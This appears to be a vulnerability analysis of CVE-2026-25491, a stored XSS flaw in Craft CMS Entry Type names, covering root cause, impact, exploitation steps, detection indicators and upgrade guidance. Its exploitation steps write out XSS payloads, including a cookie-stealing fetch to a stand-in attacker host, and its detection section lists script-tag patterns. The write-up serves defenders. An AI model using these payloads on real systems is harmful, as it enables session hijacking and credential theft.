CVE-2026-25491: 
PHP vulnerability analysis and mitigation

CVE-2026-25491 is a stored cross-site scripting (XSS) vulnerability in Craft CMS affecting Entry Type names. The vulnerability exists in versions 5.0.0-RC1 through 5.8.21, where Entry Type names are not sanitized when displayed in the Entry Types list, allowing a malicious admin to inject persistent JavaScript. It was disclosed on February 9, 2026, and fixed in version 5.8.22. The CVSS v3.1 base score is 4.8 (Medium), and the CVSS v4.0 base score is 1.9 (Low) (GitHub Advisory, Craft CMS Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a stored XSS flaw in the getTableData() method of src/services/Entries.php. The entry type's UI label was rendered directly via $entryType->getUiLabel() without HTML encoding, allowing arbitrary script injection. The fix applied in commit cfd6ba0 wraps the label with Html::encode() before rendering. Exploitation requires the attacker to have admin-level access and the allowAdminChanges configuration option to be enabled in production — a setting Craft CMS explicitly discourages (Craft CMS Advisory, Patch Commit).

A privileged attacker who can create or modify Entry Types can inject malicious JavaScript that executes in the browser of any administrator who views the Entry Types list (/admin/settings/entry-types). This could lead to session hijacking, credential theft, or unauthorized administrative actions performed on behalf of the victim administrator. Availability is not impacted, and the scope is limited to the admin control panel context (GitHub Advisory).

Proof-of-concept exploit details are publicly available via the GitHub Security Advisory, which includes reproduction steps. The EPSS score is approximately 0.041% (6th percentile), indicating a low probability of exploitation in the wild within 30 days. There is no evidence of active in-the-wild exploitation, and the vulnerability is not listed in the CISA KEV catalog. Exploitation is constrained by the requirement for admin-level access and a non-default production configuration (allowAdminChanges enabled) (GitHub Advisory).

1. Obtain Admin Access: Log in to the Craft CMS control panel with an administrator account that has permission to manage Entry Types and where allowAdminChanges is enabled in the production configuration.
2. Navigate to Entry Types: Go to Settings → Entry Types (/admin/settings/entry-types).
3. Create a Malicious Entry Type: Click to create a new Entry Type and set the Name field to a JavaScript payload such as <script>alert(document.cookie)</script> or a more targeted payload for session theft (e.g., <script>fetch('https://attacker.com/?c='+document.cookie)</script>).
4. Save the Entry Type: Save the entry type; the application stores the unsanitized name in the database.
5. Trigger Execution: When any administrator navigates to the Entry Types list, the stored payload executes in their browser context, potentially exfiltrating session cookies or performing actions on their behalf (Craft CMS Advisory).

• Logs: Craft CMS access logs showing POST requests to /admin/settings/entry-types with unusual or encoded characters (e.g., <script>, %3Cscript%3E) in the entry type name field.
• Database: Entry type records in the database containing HTML/JavaScript tags within the name column of the entry types table.
• Network: Outbound HTTP requests from administrator browsers to unexpected external domains shortly after visiting /admin/settings/entry-types, potentially carrying session cookie data.
• Browser: Unexpected JavaScript alerts or console errors triggered when an administrator views the Entry Types settings page.

Upgrade Craft CMS to version 5.8.22 or later, which applies HTML encoding to Entry Type labels before rendering (Craft CMS Release). As an interim measure, set allowAdminChanges to false in production environments, which is already Craft CMS's recommended security posture and prevents non-trusted users from modifying entry types. Additionally, restrict admin-level access to only fully trusted personnel to reduce the attack surface (Craft CMS Advisory).